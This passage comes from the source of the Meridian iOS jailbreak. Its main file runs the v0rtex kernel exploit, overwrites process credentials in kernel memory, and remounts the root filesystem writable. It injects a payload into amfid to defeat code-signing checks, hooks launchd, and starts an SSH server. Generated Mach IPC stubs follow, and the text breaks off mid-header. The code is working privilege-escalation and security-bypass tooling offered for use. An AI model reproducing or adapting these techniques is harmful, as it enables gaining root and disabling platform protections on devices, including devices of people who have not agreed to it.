    "content": "//\n//  jailbreak.m\n//  Meridian\n//\n//  Created by Ben Sparkes on 16/02/2018.\n//  Copyright © 2018 Ben Sparkes. All rights reserved.\n//\n\n#include \"v0rtex.h\"\n#include \"kernel.h\"\n#include \"helpers.h\"\n#include \"root-rw.h\"\n#include \"amfi.h\"\n#include \"offsetfinder.h\"\n#include \"jailbreak.h\"\n#include \"preferences.h\"\n#include \"ViewController.h\"\n#include \"patchfinder64.h\"\n#include \"patchfinders/offsetdump.h\"\n#include \"nvpatch.h\"\n#include \"nonce.h\"\n#include <mach/mach_types.h>\n#include <sys/stat.h>\n#import <Foundation/Foundation.h>\n\nNSFileManager *fileMgr;\n\noffsets_t *offsets;\n\nBOOL great_success = FALSE;\n\nint makeShitHappen(ViewController *view) {\n    int ret;\n    \n    fileMgr = [NSFileManager defaultManager];\n\n    // run v0rtex\n    [view writeText:@\"running v0rtex...\"];\n    suspend_all_threads();\n    ret = runV0rtex();\n    resume_all_threads();\n    if (ret != 0) {\n        [view writeText:@\"failed!\"];\n        if (ret == -420) {\n            [view writeTextPlain:@\"failed to load offsets!\"];\n        }\n        return 1;\n    }\n    [view writeTextPlain:@\"succeeded! praize siguza!\"];\n    \n    // set up stuff\n    init_patchfinder(NULL);\n    ret = init_amfi();\n    \n    if (ret != 0) {\n        [view writeTextPlain:@\"failed to initialize amfi class!\"];\n        return 1;\n    }\n    \n    // patch containermanager\n    [view writeText:@\"patching containermanager...\"];\n    ret = patchContainermanagerd();\n    if (ret != 0) {\n        [view writeText:@\"failed!\"];\n        return 1;\n    }\n    [view writeText:@\"done!\"];\n    \n    // remount root fs\n    [view writeText:@\"remounting rootfs as r/w...\"];\n    ret = remountRootFs();\n    if (ret != 0) {\n        [view writeText:@\"failed!\"];\n        return 1;\n    }\n    [view writeText:@\"done!\"];\n    \n    /*      Begin the filesystem fuckery      */\n    \n    [view writeText:@\"some filesytem fuckery...\"];\n    \n    // Remove /meridian in the case of PB's\n    if (file_exists(\"/meridian\") == 0 &&\n        file_exists(\"/meridian/.bootstrap\") != 0) {\n        [fileMgr removeItemAtPath:@\"/meridian\" error:nil];\n    }\n    \n    if (file_exists(\"/meridian\") != 0) {\n        ret = mkdir(\"/meridian\", 0755);\n        if (ret != 0) {\n            [view writeText:@\"failed!\"];\n            [view writeTextPlain:@\"creating /meridian failed with error %d: %s\", errno, strerror(errno)];\n            return 1;\n        }\n    }\n    \n    if (file_exists(\"/meridian/logs\") != 0) {\n        ret = mkdir(\"/meridian/logs\", 0755);\n        if (ret != 0) {\n            [view writeText:@\"failed!\"];\n            [view writeTextPlain:@\"creating /meridian/logs failed with error %d: %s\", errno, strerror(errno)];\n            return 1;\n        }\n    }\n    \n    if (file_exists(\"/meridian/tar\") == 0) {\n        ret = unlink(\"/meridian/tar\");\n        if (ret != 0) {\n            [view writeText:@\"failed!\"];\n            [view writeTextPlain:@\"removing /meridian/tar failed with error %d: %s\", errno, strerror(errno)];\n            return 1;\n        }\n    }\n    \n    if (file_exists(\"/meridian/tar.tar\") == 0) {\n        ret = unlink(\"/meridian/tar.tar\");\n        if (ret != 0) {\n            [view writeText:@\"failed!\"];\n            [view writeTextPlain:@\"deleting /meridian/tar.tar failed with error %d: %s\", errno, strerror(errno)];\n            return 1;\n        }\n    }\n    \n    ret = extract_bundle(\"tar.tar\", \"/meridian\");\n    if (ret != 0) {\n        [view writeText:@\"failed!\"];\n        [view writeTextPlain:@\"failed to extract tar.tar bundle! ret: %d, errno: %d: %s\", ret, errno, strerror(errno)];\n        return 1;\n    }\n    \n    if (file_exists(\"/meridian/tar\") != 0) {\n        [view writeText:@\"failed!\"];\n        [view writeTextPlain:@\"/meridian/tar was not found :(\"];\n        return 1;\n    }\n    \n    ret = chmod(\"/meridian/tar\", 0755);\n    if (ret != 0) {\n        [view writeText:@\"failed!\"];\n        [view writeTextPlain:@\"chmod(755)'ing /meridian/tar failed with error %d: %s\", errno, strerror(errno)];\n        return 1;\n    }\n    \n    ret = inject_trust(\"/meridian/tar\");\n    if (ret != 0) {\n        [view writeText:@\"failed!\"];\n        [view writeTextPlain:@\"injecting trust to /meridian/tar failed with retcode %d\", ret];\n        return 1;\n    }\n    \n    [view writeText:@\"done!\"];\n    \n    // extract meridian-bootstrap\n    [view writeText:@\"extracting meridian files...\"];\n    ret = extractMeridianData();\n    if (ret != 0) {\n        [view writeText:@\"failed!\"];\n        [view writeTextPlain:[NSString stringWithFormat:@\"error code: %d\", ret]];\n        return 1;\n    }\n    [view writeText:@\"done!\"];\n    \n    // dump offsets to file for later use (/meridian/offsets.plist)\n    dumpOffsetsToFile(offsets, kernel_base, kslide);\n    \n    // patch amfid\n    [view writeText:@\"patching amfid...\"];\n    ret = defecateAmfi();\n    if (ret != 0) {\n        [view writeText:@\"failed!\"];\n        if (ret > 0) {\n            [view writeTextPlain:[NSString stringWithFormat:@\"failed to patch - %d tries\", ret]];\n        }\n        return 1;\n    }\n    [view writeText:@\"done!\"];\n    \n    // touch .cydia_no_stash\n    touch_file(\"/.cydia_no_stash\");\n    \n    // extract bootstrap (if not already extracted)\n    if (file_exists(\"/meridian/.bootstrap\") != 0) {\n        [view writeText:@\"extracting bootstrap...\"];\n        int exitCode = 0;\n        ret = extractBootstrap(&exitCode);\n        \n        if (ret != 0) {\n            [view writeText:@\"failed!\"];\n            \n            switch (ret) {\n                case 1:\n                    [view writeTextPlain:@\"failed to extract system-base.tar\"];\n                    break;\n                case 2:\n                    [view writeTextPlain:@\"failed to extract installer-base.tar\"];\n                    break;\n                case 3:\n                    [view writeTextPlain:@\"failed to extract dpkgdb-base.tar\"];\n                    break;\n                case 4:\n                    [view writeTextPlain:@\"failed to extract cydia-base.tar\"];\n                    break;\n                case 5:\n                    [view writeTextPlain:@\"failed to extract optional-base.tar\"];\n                    break;\n                case 6:\n                    [view writeTextPlain:@\"failed to run uicache!\"];\n                    break;\n            }\n            [view writeTextPlain:@\"exit code: %d\", exitCode];\n            \n            return 1;\n        }\n        \n        [view writeText:@\"done!\"];\n    }\n    \n    // add the midnight repo \n    if (file_exists(\"/etc/apt/sources.list.d/meridian.list\") != 0) {\n        FILE *fd = fopen(\"/etc/apt/sources.list.d/meridian.list\", \"w+\");\n        const char *text = \"deb http://repo.midnight.team ./\";\n        fwrite(text, strlen(text) + 1, 1, fd);\n        fclose(fd);\n    }\n    \n    // launch dropbear\n    if (startDropbearIsEnabled()) {\n        [view writeText:@\"launching dropbear...\"];\n        ret = launchDropbear();\n        if (ret != 0) {\n            [view writeText:@\"failed!\"];\n            [view writeTextPlain:@\"exit code: %d\", ret];\n            return 1;\n        }\n        [view writeText:@\"done!\"];\n    }\n    \n    // link substitute stuff\n    setUpSubstitute();\n    \n    // symlink /Library/MobileSubstrate/DynamicLibraries -> /usr/lib/tweaks\n    setUpSymLinks();\n    \n    // remove Substrate's SafeMode (MobileSafety) if it's installed\n    // removing from dpkg will be handled by Cydia conflicts later\n    if (file_exists(\"/usr/lib/tweaks/MobileSafety.dylib\") == 0) {\n        unlink(\"/usr/lib/tweaks/MobileSafety.dylib\");\n    }\n    if (file_exists(\"/usr/lib/tweaks/MobileSafety.plist\") == 0) {\n        unlink(\"/usr/lib/tweaks/MobileSafety.plist\");\n    }\n    \n    // start jailbreakd\n    [view writeText:@\"starting jailbreakd...\"];\n    ret = startJailbreakd();\n    if (ret != 0) {\n        [view writeText:@\"failed\"];\n        if (ret > 1) {\n            [view writeTextPlain:@\"failed to launch - %d tries\", ret];\n        }\n        return 1;\n    }\n    [view writeText:@\"done!\"];\n    \n    // patch com.apple.System.boot-nonce\n    [view writeText:@\"patching boot-nonce...\"];\n    ret = nvpatch(\"com.apple.System.boot-nonce\");\n    if (ret != 0) {\n        [view writeText:@\"failed!\"];\n        return 1;\n    }\n    [view writeText:@\"done!\"];\n    \n    // Get generator from settings\n    char nonceRaw[19];\n    sprintf(nonceRaw, \"0x%016llx\", getBootNonceValue());\n    nonceRaw[18] = '\\0';\n    \n    // Set new nonce (if required)\n    const char *boot_nonce = copy_boot_nonce();\n    if (boot_nonce == NULL ||\n        strcmp(boot_nonce, nonceRaw) != 0) {\n        [view writeText:@\"setting boot-nonce...\"];\n        \n        set_boot_nonce(nonceRaw);\n        \n        [view writeText:@\"done!\"];\n    }\n    \n    if (boot_nonce != NULL) {\n        free((void *)boot_nonce);\n    }\n    \n    // load launchdaemons\n    if (startLaunchDaemonsIsEnabled()) {\n        [view writeText:@\"loading launchdaemons...\"];\n        ret = loadLaunchDaemons();\n        if (ret != 0) {\n            [view writeText:@\"failed!\"];\n            return 1;\n        }\n        [view writeText:@\"done!\"];\n    }\n    \n    if (file_exists(\"/.meridian_installed\") != 0) {\n        touch_file(\"/.meridian_installed\");\n    }\n    \n    great_success = TRUE;\n    \n    return 0;\n}\n\nkern_return_t callback(task_t kern_task, kptr_t kbase, void *cb_data) {\n    tfp0 = kern_task;\n    kernel_base = kbase;\n    kslide = kernel_base - 0xFFFFFFF007004000;\n    \n    return KERN_SUCCESS;\n}\n\nint runV0rtex() {\n    offsets = get_offsets();\n    \n    if (offsets == NULL) {\n        return -420;\n    }\n    \n    int ret = v0rtex(offsets, &callback, NULL);\n    \n    uint64_t kernel_task_addr = rk64(offsets->kernel_task + kslide);\n    kernprocaddr = rk64(kernel_task_addr + offsets->task_bsd_info);\n    kern_ucred = rk64(kernprocaddr + offsets->proc_ucred);\n    \n    if (ret == 0) {\n        NSLog(@\"tfp0: 0x%x\", tfp0);\n        NSLog(@\"kernel_base: 0x%llx\", kernel_base);\n        NSLog(@\"kslide: 0x%llx\", kslide);\n        NSLog(@\"kern_ucred: 0x%llx\", kern_ucred);\n        NSLog(@\"kernprocaddr: 0x%llx\", kernprocaddr);\n    }\n    \n    return ret;\n}\n\nint patchContainermanagerd() {\n    uint64_t cmgr = find_proc_by_name(\"containermanager\");\n    if (cmgr == 0) {\n        NSLog(@\"unable to find containermanager!\");\n        return 1;\n    }\n    \n    wk64(cmgr + 0x100, kern_ucred);\n    return 0;\n}\n\nint remountRootFs() {\n    NSOperatingSystemVersion osVersion = [[NSProcessInfo processInfo] operatingSystemVersion];\n    int pre130 = osVersion.minorVersion < 3 ? 1 : 0;\n    \n    int rv = mount_root(kslide, offsets->root_vnode, pre130);\n    if (rv != 0) {\n        return 1;\n    }\n    \n    return 0;\n}\n\nint extractMeridianData() {\n    return extract_bundle_tar(\"meridian-bootstrap.tar\");\n}\n\nvoid setUpSymLinks() {\n    struct stat file;\n    stat(\"/Library/MobileSubstrate/DynamicLibraries\", &file);\n    \n    if (file_exists(\"/Library/MobileSubstrate/DynamicLibraries\") == 0 &&\n        file_exists(\"/usr/lib/tweaks\") == 0 &&\n        S_ISLNK(file.st_mode)) {\n        return;\n    }\n    \n    // By the end of this check, /usr/lib/tweaks should exist containing any\n    // tweaks (if applicable), and /Lib/MobSub/DynLib should NOT exist\n    if (file_exists(\"/Library/MobileSubstrate/DynamicLibraries\") == 0 &&\n        file_exists(\"/usr/lib/tweaks\") != 0) {\n        // Move existing tweaks folder to /usr/lib/tweaks\n        [fileMgr moveItemAtPath:@\"/Library/MobileSubstrate/DynamicLibraries\" toPath:@\"/usr/lib/tweaks\" error:nil];\n    } else if (file_exists(\"/Library/MobileSubstrate/DynamicLibraries\") == 0 &&\n               file_exists(\"/usr/lib/tweaks\") == 0) {\n        // Move existing tweaks to /usr/lib/tweaks and delete the MobSub folder\n        NSArray *fileList = [fileMgr contentsOfDirectoryAtPath:@\"/Library/MobileSubstrate/DynamicLibraries\" error:nil];\n        for (NSString *item in fileList) {\n            NSString *fullPath = [NSString stringWithFormat:@\"/Library/MobileSubstrate/DynamicLibraries/%@\", item];\n            [fileMgr moveItemAtPath:fullPath toPath:@\"/usr/lib/tweaks\" error:nil];\n        }\n        [fileMgr removeItemAtPath:@\"/Library/MobileSubstrate/DynamicLibraries\" error:nil];\n    } else if (file_exists(\"/Library/MobileSubstrate/DynamicLibraries\") != 0 &&\n               file_exists(\"/usr/lib/tweaks\") != 0) {\n        // Just create /usr/lib/tweaks - /Lib/MobSub/DynLibs doesn't exist\n        mkdir(\"/Library/MobileSubstrate\", 0755);\n        mkdir(\"/usr/lib/tweaks\", 0755);\n    } else if (file_exists(\"/Library/MobileSubstrate/DynamicLibraries\") != 0 &&\n               file_exists(\"/usr/lib/tweaks\") == 0) {\n        // We should be fine in this case\n        mkdir(\"/Library/MobileSubstrate\", 0755);\n    }\n    \n    // Symlink it!\n    symlink(\"/usr/lib/tweaks\", \"/Library/MobileSubstrate/DynamicLibraries\");\n}\n\nint extractBootstrap(int *exitCode) {\n    int rv;\n    \n    // extract system-base.tar\n    rv = extract_bundle_tar(\"system-base.tar\");\n    if (rv != 0) {\n        *exitCode = rv;\n        return 1;\n    }\n    \n    // extract installer-base.tar\n    rv = extract_bundle_tar(\"installer-base.tar\");\n    if (rv != 0) {\n        *exitCode = rv;\n        return 2;\n    }\n    \n    if (file_exists(\"/private/var/lib/dpkg/status\") != 0) {\n        [fileMgr removeItemAtPath:@\"/private/var/lib/dpkg\" error:nil];\n        [fileMgr removeItemAtPath:@\"/Library/dpkg\"         error:nil];\n        \n        rv = extract_bundle_tar(\"dpkgdb-base.tar\");\n        if (rv != 0) {\n            *exitCode = rv;\n            return 3;\n        }\n    }\n    \n    // extract cydia-base.tar\n    rv = extract_bundle_tar(\"cydia-base.tar\");\n    if (rv != 0) {\n        *exitCode = rv;\n        return 4;\n    }\n    \n    // extract optional-base.tar\n    rv = extract_bundle_tar(\"optional-base.tar\");\n    if (rv != 0) {\n        *exitCode = rv;\n        return 5;\n    }\n    \n    enableHiddenApps();\n    \n    touch_file(\"/meridian/.bootstrap\");\n    \n    rv = uicache();\n    if (rv != 0) {\n        *exitCode = rv;\n        return 6;\n    }\n    \n    return 0;\n}\n\nint defecateAmfi() {\n    // trust our payload\n    int ret = inject_trust(\"/meridian/amfid_payload.dylib\");\n    if (ret != 0) return -1;\n    \n    unlink(\"/var/tmp/amfid_payload.alive\");\n    \n    pid_t pid = get_pid_for_name(\"amfid\");\n    if (pid == 0) {\n        return -2;\n    }\n    \n    ret = inject_library(pid, \"/meridian/amfid_payload.dylib\");\n    if (ret != 0) return -2;\n    \n    int tries = 0;\n    while (file_exists(\"/var/tmp/amfid_payload.alive\") != 0) {\n        if (tries >= 100) {\n            NSLog(@\"failed to patch amfid (%d tries)\", tries);\n            return tries;\n        }\n        \n        NSLog(@\"waiting for amfid patch...\");\n        usleep(100000); // 0.1 sec\n        tries++;\n    }\n    \n    return 0;\n}\n\nint launchDropbear() {\n    NSMutableArray *args = [NSMutableArray arrayWithCapacity:11];\n    [args addObject:@\"/meridian/dropbear/dropbear\"];\n    switch (listenPort()) {\n        case Port22:\n            [args addObjectsFromArray:@[@\"-p\", @\"22\"]];\n            break;\n        case Port2222:\n            [args addObjectsFromArray:@[@\"-p\", @\"2222\"]];\n            break;\n        default:\n            NSLog(@\"DEFAULT WTF\");\n        case Port222222:\n            [args addObjectsFromArray:@[@\"-p\", @\"22\", @\"-p\", @\"2222\"]];\n            break;\n    }\n    \n    [args addObjectsFromArray:@[@\"-F\", @\"-R\", @\"-E\", @\"-m\", @\"-S\", @\"/\"]];\n    \n    NSMutableDictionary *newPrefs = [NSMutableDictionary dictionaryWithContentsOfFile:@\"/meridian/dropbear/dropbear.plist\"];\n    newPrefs[@\"ProgramArguments\"] = args;\n    [newPrefs writeToFile:@\"/meridian/dropbear/dropbear.plist\" atomically:false];\n\n    return start_launchdaemon(\"/meridian/dropbear/dropbear.plist\");\n}\n\nvoid setUpSubstitute() {\n    // link CydiaSubstrate.framework -> /usr/lib/libsubstrate.dylib\n    if (file_exists(\"/Library/Frameworks/CydiaSubstrate.framework\") == 0) {\n        [fileMgr removeItemAtPath:@\"/Library/Frameworks/CydiaSubstrate.framework\" error:nil];\n    }\n    mkdir(\"/Library/Frameworks\", 0755);\n    mkdir(\"/Library/Frameworks/CydiaSubstrate.framework\", 0755);\n    symlink(\"/usr/lib/libsubstrate.dylib\", \"/Library/Frameworks/CydiaSubstrate.framework/CydiaSubstrate\");\n}\n\nint startJailbreakd() {\n    unlink(\"/var/tmp/jailbreakd.pid\");\n    \n    NSData *blob = [NSData dataWithContentsOfFile:@\"/meridian/jailbreakd/jailbreakd.plist\"];\n    NSMutableDictionary *job = [NSPropertyListSerialization propertyListWithData:blob options:NSPropertyListMutableContainers format:nil error:nil];\n    \n    job[@\"EnvironmentVariables\"][@\"KernelBase\"]         = [NSString stringWithFormat:@\"0x%16llx\", kernel_base];\n    job[@\"EnvironmentVariables\"][@\"KernProcAddr\"]       = [NSString stringWithFormat:@\"0x%16llx\", kernprocaddr];\n    job[@\"EnvironmentVariables\"][@\"ZoneMapOffset\"]      = [NSString stringWithFormat:@\"0x%16llx\", offsets->zone_map];\n    job[@\"EnvironmentVariables\"][@\"AddRetGadget\"]       = [NSString stringWithFormat:@\"0x%16llx\", find_add_x0_x0_0x40_ret()];\n    job[@\"EnvironmentVariables\"][@\"OSBooleanTrue\"]      = [NSString stringWithFormat:@\"0x%16llx\", find_OSBoolean_True()];\n    job[@\"EnvironmentVariables\"][@\"OSBooleanFalse\"]     = [NSString stringWithFormat:@\"0x%16llx\", find_OSBoolean_False()];\n    job[@\"EnvironmentVariables\"][@\"OSUnserializeXML\"]   = [NSString stringWithFormat:@\"0x%16llx\", find_OSUnserializeXML()];\n    job[@\"EnvironmentVariables\"][@\"Smalloc\"]            = [NSString stringWithFormat:@\"0x%16llx\", find_smalloc()];\n    [job writeToFile:@\"/meridian/jailbreakd/jailbreakd.plist\" atomically:YES];\n    chmod(\"/meridian/jailbreakd/jailbreakd.plist\", 0600);\n    chown(\"/meridian/jailbreakd/jailbreakd.plist\", 0, 0);\n    \n    int rv = start_launchdaemon(\"/meridian/jailbreakd/jailbreakd.plist\");\n    if (rv != 0) return 1;\n    \n    int tries = 0;\n    while (file_exists(\"/var/tmp/jailbreakd.pid\") != 0) {\n        printf(\"Waiting for jailbreakd \\n\");\n        tries++;\n        usleep(300000); // 300ms\n        \n        if (tries >= 100) {\n            NSLog(@\"too many tries for jbd - %d\", tries);\n            return tries;\n        }\n    }\n    \n    if (tweaksAreEnabled()) {\n        sleep(2);\n        \n        rv = inject_trust(\"/usr/lib/pspawn_hook.dylib\");\n        if (rv != 0) return 2;\n        \n        // inject pspawn_hook.dylib to launchd\n        rv = inject_library(1, \"/usr/lib/pspawn_hook.dylib\");\n        if (rv != 0) return 3;\n    }\n    \n    return 0;\n}\n\nint loadLaunchDaemons() {\n    NSArray *daemons = [fileMgr contentsOfDirectoryAtPath:@\"/Library/LaunchDaemons\" error:nil];\n    for (NSString *file in daemons) {\n        NSString *path = [NSString stringWithFormat:@\"/Library/LaunchDaemons/%@\", file];\n        NSLog(@\"found launchdaemon: %@\", path);\n        chmod([path UTF8String], 0755);\n        chown([path UTF8String], 0, 0);\n    }\n    \n    return start_launchdaemon(\"/Library/LaunchDaemons\");\n}\n\nvoid enableHiddenApps() {\n    // enable showing of system apps on springboard\n    // this is some funky killall stuff tho\n    killall(\"cfprefsd\", \"-SIGSTOP\");\n    NSMutableDictionary* md = [[NSMutableDictionary alloc] initWithContentsOfFile:@\"/var/mobile/Library/Preferences/com.apple.springboard.plist\"];\n    [md setObject:[NSNumber numberWithBool:YES] forKey:@\"SBShowNonDefaultSystemApps\"];\n    [md writeToFile:@\"/var/mobile/Library/Preferences/com.apple.springboard.plist\" atomically:YES];\n    killall(\"cfprefsd\", \"-9\");\n}\n"
  },
  {
    "path": "Meridian/Meridian/mach/jailbreak_daemonUser.c",
    "content": "/*\n * IDENTIFICATION:\n * stub generated Tue Aug 14 18:38:08 2018\n * with a MiG generated by bootstrap_cmds-96.20.2\n * OPTIONS: \n */\n#define\t__MIG_check__Reply__jailbreak_daemon_subsystem__ 1\n\n#include \"jailbreak_daemonUser.h\"\n\n\n#ifndef\tmig_internal\n#define\tmig_internal\tstatic __inline__\n#endif\t/* mig_internal */\n\n#ifndef\tmig_external\n#define mig_external\n#endif\t/* mig_external */\n\n#if\t!defined(__MigTypeCheck) && defined(TypeCheck)\n#define\t__MigTypeCheck\t\tTypeCheck\t/* Legacy setting */\n#endif\t/* !defined(__MigTypeCheck) */\n\n#if\t!defined(__MigKernelSpecificCode) && defined(_MIG_KERNEL_SPECIFIC_CODE_)\n#define\t__MigKernelSpecificCode\t_MIG_KERNEL_SPECIFIC_CODE_\t/* Legacy setting */\n#endif\t/* !defined(__MigKernelSpecificCode) */\n\n#ifndef\tLimitCheck\n#define\tLimitCheck 0\n#endif\t/* LimitCheck */\n\n#ifndef\tmin\n#define\tmin(a,b)  ( ((a) < (b))? (a): (b) )\n#endif\t/* min */\n\n#if !defined(_WALIGN_)\n#define _WALIGN_(x) (((x) + 3) & ~3)\n#endif /* !defined(_WALIGN_) */\n\n#if !defined(_WALIGNSZ_)\n#define _WALIGNSZ_(x) _WALIGN_(sizeof(x))\n#endif /* !defined(_WALIGNSZ_) */\n\n#ifndef\tUseStaticTemplates\n#define\tUseStaticTemplates\t0\n#endif\t/* UseStaticTemplates */\n\n#ifndef\t__MachMsgErrorWithTimeout\n#define\t__MachMsgErrorWithTimeout(_R_) { \\\n\tswitch (_R_) { \\\n\tcase MACH_SEND_INVALID_DATA: \\\n\tcase MACH_SEND_INVALID_DEST: \\\n\tcase MACH_SEND_INVALID_HEADER: \\\n\t\tmig_put_reply_port(InP->Head.msgh_reply_port); \\\n\t\tbreak; \\\n\tcase MACH_SEND_TIMED_OUT: \\\n\tcase MACH_RCV_TIMED_OUT: \\\n\tdefault: \\\n\t\tmig_dealloc_reply_port(InP->Head.msgh_reply_port); \\\n\t} \\\n}\n#endif\t/* __MachMsgErrorWithTimeout */\n\n#ifndef\t__MachMsgErrorWithoutTimeout\n#define\t__MachMsgErrorWithoutTimeout(_R_) { \\\n\tswitch (_R_) { \\\n\tcase MACH_SEND_INVALID_DATA: \\\n\tcase MACH_SEND_INVALID_DEST: \\\n\tcase MACH_SEND_INVALID_HEADER: \\\n\t\tmig_put_reply_port(InP->Head.msgh_reply_port); \\\n\t\tbreak; \\\n\tdefault: \\\n\t\tmig_dealloc_reply_port(InP->Head.msgh_reply_port); \\\n\t} \\\n}\n#endif\t/* __MachMsgErrorWithoutTimeout */\n\n#ifndef\t__DeclareSendRpc\n#define\t__DeclareSendRpc(_NUM_, _NAME_)\n#endif\t/* __DeclareSendRpc */\n\n#ifndef\t__BeforeSendRpc\n#define\t__BeforeSendRpc(_NUM_, _NAME_)\n#endif\t/* __BeforeSendRpc */\n\n#ifndef\t__AfterSendRpc\n#define\t__AfterSendRpc(_NUM_, _NAME_)\n#endif\t/* __AfterSendRpc */\n\n#ifndef\t__DeclareSendSimple\n#define\t__DeclareSendSimple(_NUM_, _NAME_)\n#endif\t/* __DeclareSendSimple */\n\n#ifndef\t__BeforeSendSimple\n#define\t__BeforeSendSimple(_NUM_, _NAME_)\n#endif\t/* __BeforeSendSimple */\n\n#ifndef\t__AfterSendSimple\n#define\t__AfterSendSimple(_NUM_, _NAME_)\n#endif\t/* __AfterSendSimple */\n\n#define msgh_request_port\tmsgh_remote_port\n#define msgh_reply_port\t\tmsgh_local_port\n\n\n\n#if ( __MigTypeCheck )\n#if __MIG_check__Reply__jailbreak_daemon_subsystem__\n#if !defined(__MIG_check__Reply__call_t__defined)\n#define __MIG_check__Reply__call_t__defined\n\nmig_internal kern_return_t __MIG_check__Reply__call_t(__Reply__call_t *Out0P)\n{\n\n\ttypedef __Reply__call_t __Reply __attribute__((unused));\n\tif (Out0P->Head.msgh_id != 600) {\n\t    if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE)\n\t\t{ return MIG_SERVER_DIED; }\n\t    else\n\t\t{ return MIG_REPLY_MISMATCH; }\n\t}\n\n#if\t__MigTypeCheck\n\tif ((Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) ||\n\t    (Out0P->Head.msgh_size != (mach_msg_size_t)sizeof(__Reply)))\n\t\t{ return MIG_TYPE_ERROR ; }\n#endif\t/* __MigTypeCheck */\n\n\t{\n\t\treturn Out0P->RetCode;\n\t}\n}\n#endif /* !defined(__MIG_check__Reply__call_t__defined) */\n#endif /* __MIG_check__Reply__jailbreak_daemon_subsystem__ */\n#endif /* ( __MigTypeCheck ) */\n\n\n/* Routine call */\nmig_external kern_return_t jbd_call\n(\n\tmach_port_t server_port,\n\tuint8_t command,\n\tuint32_t pid\n)\n{\n\n#ifdef  __MigPackStructs\n#pragma pack(4)\n#endif\n\ttypedef struct {\n\t\tmach_msg_header_t Head;\n\t\tNDR_record_t NDR;\n\t\tuint8_t command;\n\t\tchar commandPad[3];\n\t\tuint32_t pid;\n\t} Request __attribute__((unused));\n#ifdef  __MigPackStructs\n#pragma pack()\n#endif\n\n#ifdef  __MigPackStructs\n#pragma pack(4)\n#endif\n\ttypedef struct {\n\t\tmach_msg_header_t Head;\n\t\tNDR_record_t NDR;\n\t\tkern_return_t RetCode;\n\t\tmach_msg_trailer_t trailer;\n\t} Reply __attribute__((unused));\n#ifdef  __MigPackStructs\n#pragma pack()\n#endif\n\n#ifdef  __MigPackStructs\n#pragma pack(4)\n#endif\n\ttypedef struct {\n\t\tmach_msg_header_t Head;\n\t\tNDR_record_t NDR;\n\t\tkern_return_t RetCode;\n\t} __Reply __attribute__((unused));\n#ifdef  __MigPackStructs\n#pragma pack()\n#endif\n\t/*\n\t * typedef struct {\n\t * \tmach_msg_header_t Head;\n\t * \tNDR_record_t NDR;\n\t * \tkern_return_t RetCode;\n\t * } mig_reply_error_t;\n\t */\n\n\tunion {\n\t\tRequest In;\n\t\tReply Out;\n\t} Mess;\n\n\tRequest *InP = &Mess.In;\n\tReply *Out0P = &Mess.Out;\n\n\tmach_msg_return_t msg_result;\n\n#ifdef\t__MIG_check__Reply__call_t__defined\n\tkern_return_t check_result;\n#endif\t/* __MIG_check__Reply__call_t__defined */\n\n\t__DeclareSendRpc(500, \"call\")\n\n\tInP->NDR = NDR_record;\n\n\tInP->command = command;\n\n\tInP->pid = pid;\n\n\tInP->Head.msgh_bits =\n\t\tMACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);\n\t/* msgh_size passed as argument */\n\tInP->Head.msgh_request_port = server_port;\n\tInP->Head.msgh_reply_port = mig_get_reply_port();\n\tInP->Head.msgh_id = 500;\n\tInP->Head.msgh_reserved = 0;\n\t\n/* BEGIN VOUCHER CODE */\n\n#ifdef USING_VOUCHERS\n\tif (voucher_mach_msg_set != NULL) {\n\t\tvoucher_mach_msg_set(&InP->Head);\n\t}\n#endif // USING_VOUCHERS\n\t\n/* END VOUCHER CODE */\n\n\t__BeforeSendRpc(500, \"call\")\n\tmsg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);\n\t__AfterSendRpc(500, \"call\")\n\tif (msg_result != MACH_MSG_SUCCESS) {\n\t\t__MachMsgErrorWithoutTimeout(msg_result);\n\t\t{ return msg_result; }\n\t}\n\n\n#if\tdefined(__MIG_check__Reply__call_t__defined)\n\tcheck_result = __MIG_check__Reply__call_t((__Reply__call_t *)Out0P);\n\tif (check_result != MACH_MSG_SUCCESS)\n\t\t{ return check_result; }\n#endif\t/* defined(__MIG_check__Reply__call_t__defined) */\n\n\treturn KERN_SUCCESS;\n}\n"
  },
  {
    "path": "Meridian/Meridian/mach/jailbreak_daemonUser.h",
    "content": "#ifndef\t_jailbreak_daemon_user_\n#define\t_jailbreak_daemon_user_\n\n/* Module jailbreak_daemon */\n\n#include <string.h>\n#include <mach/ndr.h>\n#include <mach/boolean.h>\n#include <mach/kern_return.h>\n#include <mach/notify.h>\n#include <mach/mach_types.h>\n#include <mach/message.h>\n#include <mach/mig_errors.h>\n#include <mach/port.h>\n\t\n/* BEGIN VOUCHER CODE */\n\n#ifndef KERNEL\n#if defined(__has_include)\n#if __has_include(<mach/mig_voucher_support.h>)\n#ifndef USING_VOUCHERS\n#define USING_VOUCHERS\n#endif\n#ifndef __VOUCHER_FORWARD_TYPE_DECLS__\n#define __VOUCHER_FORWARD_TYPE_DECLS__\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\textern boolean_t voucher_mach_msg_set(mach_msg_header_t *msg) __attribute__((weak_import));\n#ifdef __cplusplus\n}\n#endif\n#endif // __VOUCHER_FORWARD_TYPE_DECLS__\n#endif // __has_include(<mach/mach_voucher_types.h>)\n#endif // __has_include\n#endif // !KERNEL\n\t\n/* END VOUCHER CODE */\n\n\t\n/* BEGIN MIG_STRNCPY_ZEROFILL CODE */\n\n#if defined(__has_include)\n#if __has_include(<mach/mig_strncpy_zerofill_support.h>)\n#ifndef USING_MIG_STRNCPY_ZEROFILL\n#define USING_MIG_STRNCPY_ZEROFILL\n#endif\n#ifndef __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__\n#define __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\textern int mig_strncpy_zerofill(char *dest, const char *src, int len) __attribute__((weak_import));\n#ifdef __cplusplus\n}\n#endif\n#endif /* __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ */\n#endif /* __has_include(<mach/mig_strncpy_zerofill_support.h>) */\n#endif /* __has_include */\n\t\n/* END MIG_STRNCPY_ZEROFILL CODE */\n\n\n#ifdef AUTOTEST\n#ifndef FUNCTION_PTR_T\n#define FUNCTION_PTR_T\ntypedef void 